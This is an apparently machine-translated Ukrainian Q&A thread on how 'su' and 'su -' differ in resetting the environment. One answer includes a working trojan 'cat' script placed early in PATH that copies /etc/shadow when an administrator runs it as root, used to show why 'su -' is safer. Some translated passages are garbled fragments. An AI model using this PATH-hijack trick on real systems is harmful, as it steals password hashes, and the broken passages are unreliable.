Відповіді:
su -
після переключення користувача викликає оболонку входу. Оболонка входу скидає більшість змінних середовища, забезпечуючи чисту базу.
su
просто перемикає користувача, забезпечуючи звичайну оболонку із середовищем, майже таким же, як і у старого користувача.
Уявіть, ви розробник програмного забезпечення з нормальним доступом користувачів до машини, а ваш необізнаний адміністратор просто не надасть вам root доступу. Давайте (сподіваємось) обдуримо його.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Тепер ви запитуєте свого адміністратора, чому ви не можете cat
створити фіктивний файл у домашній папці, він просто не працюватиме!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Якщо ваш адміністратор не такий розумний або просто ледачий, він може зайти до вашого столу і спробувати свої сили суперкористувача:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Оце Так! Дякую, супер адмін!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Він, він.
Можливо, ви помітили, що пошкоджена $PATH
змінна не була скинута. Це не сталося б, якби адміністратор посилався su -
натомість.
umask
зразок 000 або він не спрацює.
su
файл у PATH. Не так важко імітувати поведінку реального su
. Суперкористувач все одно був необережний :-)
su --
НЕ те саме, що su -
: --
повідомляє обробник параметрів getopt (s) (або подібний), щоб зупинити обробку командного рядка для подальших параметрів (корисно, наприклад, якщо решта містить назви файлів, які можуть починатися з '-'). Тобто, в "rm -i - -f": -f потім трактується як звичайний аргумент, тому тут як ім'я файлу до rm -i
, а не як додатковий -f
варіант для rm
команди. Так su --
просто su
і ні su -
! Тож su --
було б настільки ж небезпечно для (смішного та повчального) прикладу, що подається за допомогою ваг. Використовуйте su -
.
su -
записує вас повністю як корінь, тоді як su
робить це таким чином, що ви робите вигляд, що він root.
Найбільш очевидним прикладом цього є ~
домашній каталог root, якщо ви використовуєте su -
, але власний домашній каталог, якщо ви використовуєте su
.
Залежно від вашої системи, це також може означати відмінності у запиті PATH
або файлі історії.
Отже, якщо ви є частиною команди, яка адмініструє систему, і ваш колега дає вам команду запустити, ви знаєте, що вона буде працювати однаково, якщо ви обидва використовуєте su -
, але якщо ви обидва використовуєте su
, можливі відмінності через те, що у вас є різні конфігурації оболонок.
З іншого боку, якщо ви хочете запустити команду як root, але використовуючи власну конфігурацію, то, можливо, su
вам краще.
Також не забувайте про те sudo
, що є -s
можливість запустити оболонку, що працює як root. Звичайно, для цього є і різні правила, і вони змінюються залежно від того, який дистрибутив ви використовуєте.
.bashrc
або /etc/bashrc
або /etc/profile.d
сценарії установки PATH
. Шукайте if [ $UID -eq 0 ]
чи щось подібне.
$USER
наприклад, залишається без змін.
sudo su
?
Я використовую su - коли я перебуваю в каталозі як звичайний користувач, але хочу переключитися на root і залишитися в тому ж каталозі після переключення. Якщо ви використовуєте su - він перемикає користувача на root, а також переносить вас на / root, який є головним домашнім каталогом.
/
все, що визначається як домашній каталог root
Основна відмінність:
su - username
встановлює середовище оболонки так, як якщо б це був чистий логін, як вказаний користувач, він отримує доступ та використовує вказані змінні середовища середовища користувачів,
su username
просто запускає оболонку з поточними налаштуваннями середовища для вказаного користувача.
Якщо ім'я користувача не вказано з su
і su -
, кореневий обліковий запис мається на увазі як за замовчуванням.
su --
те саме, щоsu
.